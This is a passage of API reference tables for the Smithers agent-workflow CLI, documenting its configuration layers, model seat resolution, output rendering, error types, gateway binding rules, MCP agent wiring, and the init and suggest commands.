| ---------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `Environment`                                              | `Environment.Source`                                                                                                                                                                                                                                             | The environment shape configuration helpers read.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
| `ServerOptions`                                            | `ListenOptions & { disablePreemptiveShutdown?, listen? }`                                                                                                                                                                                                        | Node listen options, with the explicit non-loopback opt-in.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          |
| `makeConfig`                                               | `(args, environment, cwd) => Application.Config`                                                                                                                                                                                                                 | The pure configuration boundary. Throws `CliError.UsageError` for a bad `--remote` URL or an unreadable, malformed, or wrongly shaped `--mcp-config` file.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |
| `configFromArguments`                                      | `(args) => Effect<Application.Config, CliError.UsageError>`                                                                                                                                                                                                      | Resolves and validates raw arguments or a shared parse using the ambient environment and working directory.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          |
| `config`                                                   | `Effect<Application.Config, CliError.UsageError>`                                                                                                                                                                                                                | `makeConfig` applied to the ambient process, with the throw converted into a typed failure.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          |
| `workspaceSshPrefix`                                       | `(environment, reference, signal?) => Promise<Array<string>>`                                                                                                                                                                                                    | Resolves fresh Cloud workspace SSH argv with pinned host keys; the optional signal cancels readiness polling.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        |
| `projectSources`                                           | `(root: string) => ReadonlyArray<Descriptor.Source>`                                                                                                                                                                                                             | The one flow source a local CLI discovers: `<root>/flows`, named by path.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            |
| `layerHostPlatform`                                        | `Layer`                                                                                                                                                                                                                                                          | Node's services plus the descriptor-relative, no-follow filesystem the kernel needs. Unguarded; only host equipment that carries its own confinement argument runs on it.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            |
| `layerGrantStore`                                          | `(root: string) => Layer<GrantStore>`                                                                                                                                                                                                                            | The local CLI's real permission store: an allow policy, with the fiber's capability ceiling still enforced.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          |
| `layerGuardedPlatform`                                     | `(root: string, grants?) => Layer`                                                                                                                                                                                                                               | The kernel-guarded platform over one workspace root. Every filesystem operation is resolved, authorized, re-resolved, and executed relative to a pinned root descriptor.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             |
| `layerObserver`                                            | `(root: string, options?: WorkspaceObservation.Options) => Layer<WorkspaceObservation.Observer>`                                                                                                                                                                 | The workspace observer a run's mutation accounting is measured with. Options can omit exact host-owned runtime paths.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                |
| `layerRegistry`                                            | `(root: string) => Layer<Registry>`                                                                                                                                                                                                                              | Flow discovery from `<root>/flows`. A missing directory discovers nothing; any other failure is a startup defect.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
| `databasePath`                                             | `(root: string) => string`                                                                                                                                                                                                                                       | `<root>/.flows/control.db`.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          |
| `executionDatabasePath`                                    | `(root: string) => string`                                                                                                                                                                                                                                       | `<root>/.flows/engine.db`.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |
| `EngineDurable`                                            | `Application.Engine & { stores }`                                                                                                                                                                                                                                | The durable engine plus the shared database seam other stores hang off.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              |
| `engineDurable`                                            | `(root: string, registry?, authority?) => EngineDurable`                                                                                                                                                                                                         | The real project engine. `authority` accepts `approvalAuthority`, `principal`, `credential`, and `stateRoot`. Open, migration, and journal startup failures are promoted to defects.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 |
| `layerSeatEvaluator`                                       | layer                                                                                                                                                                                                                                                            | The native judge. With `AI_GATEWAY_API_KEY`: Jev through the Vercel AI Gateway over its own egress HTTP client (fetch under Bun), and the subscription judge only when Jev is unreachable, times out, or answers 5xx or 429 through its retries. With no key: the subscription judge itself. It is the first of `claude-code:haiku` on a signed-in Claude Code, `luna` on an account pool or ChatGPT session, and a router key's first review model, resolved at judgment time and asked through `EvaluatorBackup.fromModel`. With none of them it fails `unconfigured`; one that cannot resolve fails `unreachable`. A gateway refusal (401, 403) or an invalid answer fails without a fallback. No provider API key judges.                                        |
| `accountPoolDefaultModel`                                  | constructor                                                                                                                                                                                                                                                      | Queries connected host-permitted account-pool routes and returns their shared default seat; incomplete, failed or unusable discovery returns no seat. Requires the shared `RequestExecutor`.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
| `seatResolver`, `scopedSeatResolver`, `layerSeatResolver`  | constructor, constructor, layer                                                                                                                                                                                                                                  | Resolves a declared seat string into a credentialed model. `scopedSeatResolver` and `layerSeatResolver` end every Claude Code session the seats hold when their scope closes, so an idle session never keeps the host process alive. A `claude-code:<model>` seat runs on the user's signed-in Claude Code through the Claude Agent SDK, one locked-down, tool-less session per conversation whose turns are the frames' new messages; it resolves only without `ANTHROPIC_API_KEY`, and this process never reads a Claude credential. Its session is discarded unless `SMITHERS_HIJACKABLE=1`, which keeps it on disk so `claude --resume <sessionId>`, run in the system temporary directory, opens it; the journaled `model-settled` row carries the `sessionId`. |
| `seatCandidates`, `layerSeatCatalog`                       | constructor, layer                                                                                                                                                                                                                                               | The routing graph's seats an undeclared or `auto` run may route to: each `SeatRouter.seats` alias whose provider the environment holds a credential for, by the rules `seatResolver` signs with. A Claude seat is offered on `ANTHROPIC_API_KEY` or on a Claude subscription signed in to Claude Code, never as a `claude-code` seat.                                                                                                                                                                                                                                                                                                                                                                                                                                |
| `supervisorStance`                                         | `(environment) => "careful" \| "paranoid"`                                                                                                                                                                                                                       | The stance a judged run on this host is taught: `SMITHERS_SUPERVISOR_STANCE`, `careful` when unset. Any other value throws a `UsageError`.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |
| `testRunner`, `testFlows`, `checkpointStore`               | constructors                                                                                                                                                                                                                                                     | The `test` flow's runner, the flows it registers, and the checkpoint store. `testRunner(environment, root, workspaceRoot?)` declares the runner for `workspaceRoot`, named inside the mount `SMITHERS_TEST_CWD` gives `root`.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        |
| `rebuildableTransport`                                     | constructor                                                                                                                                                                                                                                                      | The replaceable HTTP dispatcher a model captures and uses after seat resolution returns.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             |
| `environmentDispatcher`, `layerRebuildableRequestExecutor` | constructor, layer                                                                                                                                                                                                                                               | The Undici connection pool an environment's proxy settings describe, and the model transport built over it. The executor throws the pool away after three consecutive transport failures and builds another, which is the only repair for a session the provider destroyed. Node hosts share this pool lifecycle. `RequestExecutor.layer` over a plain client cannot replace anything.                                                                                                                                                                                                                                                                                                                                                                               |
| `ModuleRegistration`                                       | `Layer<Executable.Catalog, never, host registration services>`                                                                                                                                                                                                   | Optional trusted native module registrations; see [native module hosts](https://github.com/smithersai/smithers/blob/main/packages/smithers/docs/guides/native-module-host.md) for authority and single-executor requirements.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                |
| `layerExecutor`                                            | `(registry, engine, root, options: { environment, mcpServers?, grants?, requestExecutor?, quotaPolicy?, executionRoot?, stateRoot?, modules?, sandboxProviders? }) => Layer<ControlExecutor \| FlowRuntime, never, ControlRuntime \| Journal \| NotificationQueue \| Registry>` | The production run executor and its flow runtime, shared by durable host health discovery. Pass the same `GrantStore` the filesystem gets. `executionRoot` selects the execution checkout; `stateRoot` selects the directory containing `.flows/engine.db`. Both default to `root`.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                |
| `layerControl`                                             | `(config, registry?, engine?, modules?) => Layer`                                                                                                                                                                                                                | `Control` alone, over the registry and engine you supply.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            |
| `layerOutput`                                              | `Layer<Output>`                                                                                                                                                                                                                                                  | Deterministic rendering that also publishes its status as `process.exitCode`.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        |
| `layer`                                                    | `(config, modules?) => Layer`                                                                                                                                                                                                                                    | The complete command-handler environment. This is the production layer for `smthrs`.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 |
| `layerMemory`                                              | `(root, engine?) => Layer<MemoryStore>`                                                                                                                                                                                                                          | The durable memory store over the control database.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  |
| `layerMemoryRemote`                                        | `Layer<MemoryStore>`                                                                                                                                                                                                                                             | The store a `--remote` invocation gets: none, said out loud.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
| `layerServer`                                              | `(auth, options?) => Layer`                                                                                                                                                                                                                                      | The control HTTP and WebSocket router on a scoped Node server. A non-loopback host without `listen: true` is rejected synchronously.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 |
| `layerGateway`                                             | `(health, options, root, engine, journal?) => Layer`                                                                                                                                                                                                             | The whole workspace gateway on one socket.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |
| `layerServerBearerAuth`, `layerServerNoopAuth`             | `(options?) => Layer`                                                                                                                                                                                                                                            | The two authentication choices for `layerServer`.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
| `CompositionRootsAreComplete`                              | type                                                                                                                                                                                                                                                             | A compile-time assertion that the executor and both control compositions owe nothing.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                |

## Output

Deterministic rendering, and the status a process exits on.

| Export               | Signature                                                         | Meaning                                                                                     |
| -------------------- | ----------------------------------------------------------------- | ------------------------------------------------------------------------------------------- |
| `Format`             | `"human" \| "json"`                                               | Indented, or compact. Member order is UTF-16 code-unit order in both.                       |
| `Rendered`           | `{ text: string; exitCode: number }`                              | Text ready for stdout, with the status the process should publish.                          |
| `Service`            | `{ render: (value, format) => Effect<Rendered, RenderingError> }` | The rendering service handlers consume.                                                     |
| `Output`             | `Context.Service`                                                 | The service key, `/cli/Output`.                                                             |
| `make`               | `() => Service`                                                   | Builds the service for a platform layer or a focused test.                                  |
| `layer`              | `Layer<Output>`                                                   | The default layer, with no exit-code transfer.                                              |
| `renderValue`        | `(value: unknown) => RenderValue`                                 | Marks caller-controlled data as output, never as a receipt. A wrapped value always exits 0. |
| `exitCode`           | `(value: unknown) => number`                                      | The status one value implies. Only a validated `ControlSchema.Receipt` returns nonzero.     |
| `maximumDepth`       | `128`                                                             | Maximum object and array nesting in one render.                                             |
| `maximumMembers`     | `10_000`                                                          | Maximum enumerable data members in one render.                                              |
| `maximumOutputBytes` | `4 * 1024 * 1024`                                                 | Maximum UTF-8 bytes in one rendered document.                                               |

Rendering snapshots inert plain data and refuses executable or unbounded
structures before any output is written, with a stable code and the path of the
first refusing member. See
[Output and exit codes](https://github.com/smithersai/smithers/blob/main/packages/smithers/docs/concepts/output-and-exit-codes.md).

## Ui

Interactive terminal rendering, with a plain-line fallback.

| Export                          | Signature                                              | Meaning                                                                                                                                                                |
| ------------------------------- | ------------------------------------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `brand`                         | `string`                                               | The line `intro` prints when a verb gives it no title: `smthrs <version>`.                                                                                             |
| `Check`                         | `{ name, level: "ok" \| "warn" \| "fail", detail }`    | One line of a checklist.                                                                                                                                               |
| `Spinner`                       | interface                                              | `start`, `message`, `stop`, `cancel`, `error`. Imperative by nature; the Effect boundary sits around the whole span.                                                   |
| `StreamOptions`, `Streamed`     | interfaces                                             | How a streamed list is labelled and settled, and what the scan produced.                                                                                               |
| `PickOptions`, `ConfirmOptions` | interfaces                                             | How a pick and a confirmation are presented. `ConfirmOptions.nonInteractive` is required, because the safe answer differs per question.                                |
| `Service`                       | interface                                              | `interactive`, `text`, `intro`, `outro`, `note`, `info`, `success`, `step`, `warn`, `error`, `checklist`, `spinner`, `streamSuggestions`, `pickSuggestion`, `confirm`. |
| `Ui`                            | `Context.Service`                                      | The service key, `/cli/Ui`.                                                                                                                                            |
| `Options`                       | `{ output, input?, interactive }`                      | The streams and the interactivity decision one service is built on.                                                                                                    |
| `isInteractive`                 | `(output, input, environment) => boolean`              | Both streams are terminals, `CI` is not `"true"`, and `TERM` is not `dumb`.                                                                                            |
| `make`                          | `(options: Options) => Service`                        | Builds a service on explicit streams.                                                                                                                                  |
| `layer`                         | `(environment) => Layer<Ui>`                           | Builds one on the process streams.                                                                                                                                     |
| `prompting`                     | `Effect<Service>`                                      | Uses a supplied service, or prompts on stderr whenever stdin is a terminal, keeping stdout available for documents.                                                    |
| `current`                       | `Effect<Service>`                                      | The provided service, or a fallback on the process streams.                                                                                                            |
| `renderChecklist`               | `(title, checks, { interactive, columns? }) => string` | The pure checklist rendering `smthrs doctor` prints. Non-interactive output is byte-identical to `Doctor.render`.                                                      |

A cancelled `text` or `pickSuggestion` is `None` and a cancelled `confirm` is `false`.
`text` requires a nonblank value; in a non-interactive session it returns `None` without reading stdin.
Neither sets exit 130, because a Ctrl+C inside a raw-mode prompt is a keypress,
not a signal.

## CliError

The failures the command-line projection adds on top of the control plane's.

| Export               | Exits | Raised when                                                                                                                                                                          |
| -------------------- | ----- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `UsageError`         | 2     | The invocation is wrong: an unparseable flag value, a payload that does not match its schema, an argument outside the accepted set. Carries no cause.                                |
| `UnsupportedError`   | 1     | The invocation is spelled correctly and this projection cannot perform it: a removed verb or flag, a reserved system flow, a local-only operation asked of a `--remote` composition. |
| `ResourceLimitError` | 1     | A correct read would exceed a published bound. Carries `operation`, `subject`, `limit`, and `unit`. Both labels are inert, so the failure is safe to print over MCP.                 |
| `RenderingError`     | 1     | Caller-controlled output was not inert bounded data. Carries a stable `code`, the `path` of the first refusing member, and a message.                                                |
| `Refused`            | 1     | A correctly spelled command could not finish. Carries `fault`, `code`, `message`, and optional integer `httpStatus` (100 to 599). Older records omit the status.                     |
| `CliError`           |       | The union of the five.                                                                                                                                                               |
| `exitCode`           |       | `(error: CliError) => number`. 2 for a usage error, 1 otherwise.                                                                                                                     |

Statuses 3, 130, and 143 belong to run outcomes rather than failures, and come
from `Output.exitCode`.

## Verb

The shipped command catalog.

| Export        | Signature                                    | Meaning                                                                                                                                                            |
| ------------- | -------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `Verb`        | `{ name, help, aliases, flowId?, builtin? }` | One shipped command. `aliases` are accepted by the parser and hidden from `--help`. `flowId` names the reserved system flow when the control catalog reserves one. |
| `shipped`     | `ReadonlyArray<Verb>`                        | Every command that ships.                                                                                                                                          |
| `subcommands` | `ReadonlyArray<Verb>`                        | `shipped` minus the built-in ones, which is every verb the command tree registers.                                                                                 |
| `names`       | `ReadonlyArray<string>`                      | Every shipped command name.                                                                                                                                        |
| `find`        | `(name: string) => Verb \| undefined`        | One shipped verb by name.                                                                                                                                          |

`completions` is the only `builtin` entry: `effect/cli` provides it as
the global `--completions <shell>` flag rather than as a subcommand.

## Unsupported

The removal surface.

| Export                        | Signature                                                        | Meaning                                                                                                                             |
| ----------------------------- | ---------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------- |
| `migrationUrl`                | `string`                                                         | The base every removal message links into.                                                                                          |
| `RemovedVerb`, `removedVerbs` | `{ name, group, reason, subcommands? }`                          | Every verb removed in 1.0.0-rc.0, grouped by what it belonged to.                                                                   |
| `RemovedFlag`, `removedFlags` | `{ parent, flag, reason, anchor }`                               | Every removed flag, declared hidden on the command that used to carry it. `parent: ""` names the shared globals.                    |
| `message`, `flagMessage`      | `(...) => string`                                                | The removal sentence for a verb, and for a flag.                                                                                    |
| `verbError`, `flagError`      | `(...) => UnsupportedError`                                      | Those sentences as failures.                                                                                                        |
| `findFlag`                    | `(parent, flag) => RemovedFlag`                                  | One removed flag, so a handler cannot cite the wrong entry.                                                                         |
| `refusal`                     | `(args: ReadonlyArray<string>) => UnsupportedError \| undefined` | The refusal for one raw argv, matched before the parser runs, so a removed verb never opens a database on its way to being refused. |
| `isReservedFlow`              | `(flowId: string) => boolean`                                    | Whether an id starts with `system/`.                                                                                                |
| `reservedFlowError`           | `(verb, flowId) => UnsupportedError`                             | The refusal for one.                                                                                                                |

## Project

Where an invocation decides it is running.

| Export                                                        | Signature                                 | Meaning                                                                                                          |
| ------------------------------------------------------------- | ----------------------------------------- | ---------------------------------------------------------------------------------------------------------------- |
| `root`                                                        | `(explicit, cwd, exists?) => string`      | `--root`, else the nearest ancestor that anchors a project, else the invocation directory.                       |
| `legacyRoot`                                                  | `(explicit, cwd, exists?) => string`      | The same walk anchored on 0.x markers, for `smthrs migrate`.                                                     |
| `legacyMarkers`                                               | `ReadonlyArray<string>`                   | `.smithers`, `smithers.db`, and its WAL and shared-memory files.                                                 |
| `stateDirectory`, `logDirectory`, `logFile`, `flowsDirectory` | `(root, ...) => string`                   | `.flows/`, `.flows/logs/`, `.flows/logs/<run-id>.log`, and `.smithers/flows/`.                                             |
| `legacyState`                                                 | `(cwd, exists?) => ReadonlyArray<string>` | 0.x markers beside a project, skipping any directory that already holds `.flows/`. The notice's input.           |
| `legacyDatabases`                                             | `(cwd, exists?) => ReadonlyArray<string>` | Every 0.x `smithers.db` beside a project, not gated on `.flows/`. The report's and the refusal's input.          |
| `legacyNotice`                                                | `(path: string) => string`                | The one-line stderr notice.                                                                                      |
| `ProjectRoot`, `MigrationRoot`, `LegacyState`                 | `Context.Reference`                       | The three answers, as services.                                                                                  |
| `layer`                                                       | `(projectRoot, migrationRoot) => Layer`   | Provides all three. The 0.x sample is taken while the layers are described, before anything creates `.flows/`.   |
| `assertRoot`                                                  | `(projectRoot: string) => void`           | Throws `UsageError` if the selected root is not an accessible directory, before a command creates durable state. |

## Environment

The closed set of variables rc.0 reads.

| Export                      | Signature                                       | Meaning                                                                                                                             |
| --------------------------- | ----------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------- |
| `Name`, `names`             | `{ name, purpose }`                             | Every `SMITHERS_*` variable the CLI reads, with what it is for.                                                                     |
| `Source`                    | `Readonly<Record<string, string \| undefined>>` | The shape this module reads. `process.env` satisfies it.                                                                            |
| `read`                      | `(environment, name) => string \| undefined`    | One name. An empty value is treated exactly like an unset one.                                                                      |
| `readInteger`               | `(environment, name) => number \| undefined`    | One name as a positive integer. The whole value must be digits, so `30s` is ignored rather than read as 30.                         |
| `unsupportedBackendMessage` | `string`                                        | The whole refusal sentence, fixed by the release policy.                                                                            |
| `unsupportedBackend`        | `(value) => string \| undefined`                | The refusal, or `undefined` for `sqlite`, empty, and unset.                                                                         |
| `ambientWorkingDirectory`   | `() => string`                                  | The process directory. Belongs only in explicit process-backed service defaults; project operations take their root as an argument. |

## ExecutorOwnership

| Export              | Signature                          | Meaning                                                                                                                                                  |
| ------------------- | ---------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `ExecutorOwnership` | `Context.Reference<boolean>`       | Whether this process drives accepted runs. Defaults to `false`, so a composition that forgets to declare it refuses to wait rather than waiting forever. |
| `layer`             | `(ownsExecutor: boolean) => Layer` | Declares it for one command scope. `Application.layer` supplies it from what it actually built.                                                          |

## Detached

The `flow start -d` launch.

| Export                            | Signature                                    | Meaning                                                                                                                          |
| --------------------------------- | -------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------- |
| `admissionVariable`               | `"SMITHERS_INTERNAL_DETACHED_ADMISSION"`     | The nonce the parent passes to the child.                                                                                        |
| `defaultTimeoutMs`                | `30_000`                                     | How long the parent waits for the admission line.                                                                                |
| `defaultTerminationGraceMs`       | `2_000`                                      | How long a terminated child gets before it is killed.                                                                            |
| `admissionLine`                   | `(nonce, runId) => string`                   | The line the child writes once the run row is durable.                                                                           |
| `admittedRunId`                   | `(tail, nonce) => string \| undefined`       | Accepts only IDs matching `[A-Za-z0-9][A-Za-z0-9._-]{0,127}` from this nonce's admission line. An unsafe ID returns `undefined`. |
| `logTail`                         | `(file, maxBytes?) => string`                | The end of a log file.                                                                                                           |
| `terminate`                       | `(...) => Promise<...>`                      | Ends a child that never reached admission.                                                                                       |
| `Launched`, `Rejected`, `Options` | interfaces                                   | The two outcomes of a launch, and its inputs.                                                                                    |
| `launch`                          | `(options) => Promise<Launched \| Rejected>` | Spawns the child and waits for admission.                                                                                        |
| `isLaunched`                      | `(result) => result is Launched`             | Which outcome it was.                                                                                                            |
| `discard`                         | `(rejected: Rejected) => void`               | Cleans up after a rejection.                                                                                                     |

## Doctor

Readiness as one report.

| Export               | Signature                                     | Meaning                                                                   |
| -------------------- | --------------------------------------------- | ------------------------------------------------------------------------- |
| `Level`              | `"ok" \| "warn" \| "fail"`                    | A `warn` stops nothing; a `fail` will stop the next command.              |
| `Check`, `Report`    | `{ name, level, detail }`, `{ root, checks }` | The report is data. `--json` prints it verbatim.                          |
| `minimumNode`        | `"22.19.0"`                                    | The floor the durable engine requires.                                    |
| `supportedNodeRange` | `">=22.19.0"`                                  | The Node range supported by the CLI's runtime dependencies.               |
| `satisfiesNode`      | `(version, minimum?) => boolean`              | Whether a Node version is supported and clears an optional higher floor.  |
| `Options`            | interface                                     | Every host fact is a parameter, so the report is deterministic in a test. |
| `inspect`            | `(options) => Report`                         | Runs every check.                                                         |
| `render`             | `(report) => string`                          | One line per check.                                                       |
| `failed`             | `(report) => boolean`                         | Whether any check failed, which decides the command's status.             |

## Forensics

Read-only projections of a run's events. Nothing here opens a database, so
`--remote` renders exactly what a local run renders.

| Export             | Signature                 | Meaning                                                                                                                                                                   |
| ------------------ | ------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `Refusal`          | `{ message, count }`      | One refused flow call, aggregated by message.                                                                                                                             |
| `Digest`           | interface                 | Status, cause, seat, turns, calls, refusals, duplicate calls, edits, tokens, flow counts, parked approval, final output, and the memory the run was brought and withheld. |
| `digest`           | `(events) => Digest`      | Computes it. Missing or malformed fields become optional or zero values rather than failing.                                                                              |
| `renderDiagnosis`  | `(run, digest) => string` | The diagnosis card: verdict, activity, refusals, memory, cause, and the exact next commands.                                                                              |
| `eventLine`        | `(event) => string`       | One follow-mode line.                                                                                                                                                     |
| `renderTranscript` | `(events) => string`      | The turn-by-turn transcript `smthrs runs logs` prints.                                                                                                                    |
| `shellQuote`       | `(value) => string`       | Quotes a value for the card's copy-paste commands.                                                                                                                        |

## NodeOutput

| Export         | Signature                          | Meaning                                             |
| -------------- | ---------------------------------- | --------------------------------------------------- |
| `resultNodeId` | `"result"`                         | The conventional node id of a flow's final output.  |
| `Node`         | interface                          | One registered node output.                         |
| `project`      | `(events) => ReadonlyArray<Node>`  | The node-output projection of a run's events.       |
| `find`         | `(...)`                            | One node by id.                                     |
| `notFound`     | `(runId, nodeId, nodes) => string` | The usage message for a node the run does not have. |
| `render`       | `(node) => string`                 | One node's human rendering.                         |

## CloudSession

The signed-in Smithers Cloud session for hosts other than the CLI (the terminal UI reads the factory's issue list with it). The token and origin come from where `smthrs auth login` and `smthrs config` put them.

| Export                    | Signature                                 | Meaning                                                                                                                                                                                                                                         |
| ------------------------- | ----------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `Cloud`                   | interface                                 | `origin`, `get(path, signal?)`, and `post(path, body, signal?)` for `/api/…` requests on that origin as the signed-in person: no redirects, 30 s, at most 4 MiB.                                                                                |
| `signedIn`                | `(env) => Promise<Cloud \| undefined>`    | The session, or undefined without an origin or a login.                                                                                                                                                                                         |
| `repository`              | `(directory, env) => string \| undefined` | The `owner/name` a checkout's git or jj remote names, as `smthrs open` reads it.                                                                                                                                                                |
| `isAuthenticationRefusal` | `(error: unknown) => boolean`             | Checks typed `cloud_request_failed` refusals. The response's HTTP 401/403 is authoritative; older status-absent records retain `fault: "user"` compatibility. Other or malformed statuses, unknown failures, and text-only errors return false. |

## Agents

The agent configurations `smthrs mcp add` writes into.

| Export               | Signature                                  | Meaning                                                                                                                                                                                                |
| -------------------- | ------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `serverName`         | `"smithers"`                               | The registered server name.                                                                                                                                                                            |
| `codexConfigString`  | `(text: string) => string`                 | A TOML basic string for Codex overrides; refuses malformed Unicode.                                                                                                                                    |
| `Agent`, `agents`    | `{ id, mcpConfig }`                        | `claude` at `~/.claude.json`, `codex` at `$CODEX_HOME/config.toml` (default `~/.codex/config.toml`).                                                                                                   |
| `find`               | `(id) => Agent \| undefined`               | One agent by id.                                                                                                                                                                                       |
| `launchCommand`      | `(execPath?, entry?) => { command, args }` | The current executable and entry, verbatim, so a local development install registers itself rather than a package runner.                                                                              |
| `Wired`              | `{ agent, path, status, reason? }`         | What one wiring attempt did.                                                                                                                                                                           |
| `addMcp`             | `(agent, home?, environment?) => Wired`    | Registers through the Codex CLI and verifies discovery, or writes Claude JSON under a lock with atomic replacement. An explicit home isolates Codex unless the supplied environment sets `CODEX_HOME`. |
| `manualInstructions` | `(targets?) => string`                     | What to do by hand when every write failed.                                                                                                                                                            |

## Serve

The gateway bind rule and its banner.

| Export                              | Signature                                 | Meaning                                                                                                              |
| ----------------------------------- | ----------------------------------------- | -------------------------------------------------------------------------------------------------------------------- |
| `loopbackHosts`                     | `["127.0.0.1", "::1", "localhost"]`       | The addresses that need no opt-in.                                                                                   |
| `defaultBind`                       | `{ host: "127.0.0.1", port: 3000 }`       | The default.                                                                                                         |
| `Mount`, `mounts`                   | `{ protocol, path, serves }`              | Every route the gateway hosts, in banner order. The banner is rendered from this list, so it cannot advertise a 404. |
| `isLoopback`                        | `(host) => boolean`                       | Whether a host needs the opt-in.                                                                                     |
| `Bind`                              | `{ host, port, listen, credential }`      | What the verb was asked to do.                                                                                       |
| `refuse`                            | `(bind) => UnsupportedError \| undefined` | The refusal for a bind that is not allowed. Non-loopback needs both `--listen` and a bearer token.                   |
| `workspaceHash`                     | `(root) => string`                        | 16 hex characters of the SHA-256 of the resolved root. The path itself is never published.                           |
| `health`                            | `(root) => GatewayServer.Health`          | What `GET /health` answers.                                                                                          |
| `banner`                            | `(bind) => string`                        | The line printed once the server is listening.                                                                       |
| `GatewayHost`, `GatewayHostService` | `Context.Service`                         | The already-composed Node gateway, supplied by the platform composition so serving reuses the open control database. |
| `host`                              | `(bind, root) => Effect`                  | Hosts the gateway until the process is interrupted.                                                                  |

## Init

`smthrs init`.

| Export                          | Signature                                            | Meaning                                                                                                                                                                                                                   |
| ------------------------------- | ---------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `ignoreRule`                    | `".flows/"`                                          | The line added to `.gitignore`.                                                                                                                                                                                           |
| `IgnoreStatus`                  | `"created" \| "updated" \| "unchanged" \| "skipped"` | What happened to that file.                                                                                                                                                                                               |
| `isRepository`, `ensureIgnored` | `(root, ...) => ...`                                 | Whether the directory is a repository, and the ignore write.                                                                                                                                                              |
| `nameProblem`, `isValidName`    | `(name) => ...`                                      | Why a flow name is rejected, and whether it is.                                                                                                                                                                           |
| `defaultName`                   | `(root) => string`                                   | The slug of the project directory, or `flow`.                                                                                                                                                                             |
| `Seat`, `defaultSeat`           | `{ seat, variable, resolved }`                       | The seat the scaffold declares, chosen from the same provider keys `doctor` reports. A directory with no key still declares a seat, so the launch refuses by naming the key instead of leaving a run nothing drives. |
| `template`                      | `(name, seat) => string`                             | The tagged `flow.ts`, with an ordinary AgentAction and exported implementation layer.                                                                                                                      |
| `Scaffolded`, `scaffold`        | `(root, name, environment) => Scaffolded`            | Writes `.smithers/flows/<name>/flow.ts` and creates `.flows/`. Retains any single flow.ts, flow.mdx or SKILL.md entry, refuses duplicate entries and unsafe scaffold paths, and never overwrites an authored entry.                                                                                                                     |

## Suggest

`smthrs suggest`: read the project, stream the ways Smithers can help, and
implement the one the operator picks.

| Export                                     | Signature                                                | Meaning                                                                                         |
| ------------------------------------------ | -------------------------------------------------------- | ----------------------------------------------------------------------------------------------- |
| `Implementation`                           | `{ kind, suggestion, followUp?, files, command, notes }` | What one implementation wrote, and which of the three briefs it answered.                       |
| `Outcome`, `outcomeDocument`, `exitStatus` |                                                          | The result of one pass, its `--json` document, and its status: 130 when cancelled, 0 otherwise. |
| `Implement`                                | `(brief: string) => Effect<Implemented, Error>`          | The seam the agent is called through.                                                           |
| `Options`, `run`                           | `(options) => Effect<Outcome, CliError>`                 | The order the scan, the pick, and the implementation happen in.                                 |
| `isDirectory`                              | `(path) => boolean`                                      | Whether the target is a directory.                                                              |
| `suggestionDocument`, `seatDocument`       |                                                          | The `--json` documents for one suggestion and the chosen seat.                                  |
| `introLine`, `streamLabel`, `wroteNote`    |                                                          | The three human lines.                                                                          |

The implementation writes under the project root and never commits: the grant
store denies `.git/` and `.flows/`, and there is no process-spawn grant at all.

Briefs teach `.smithers/flows/<name>/flow.ts` with a named default `Flow.make`
export. CI follow-ups use Smithers flow checks. Check discovery retains distinct
commands with the same check name, qualifying later IDs with their command tool
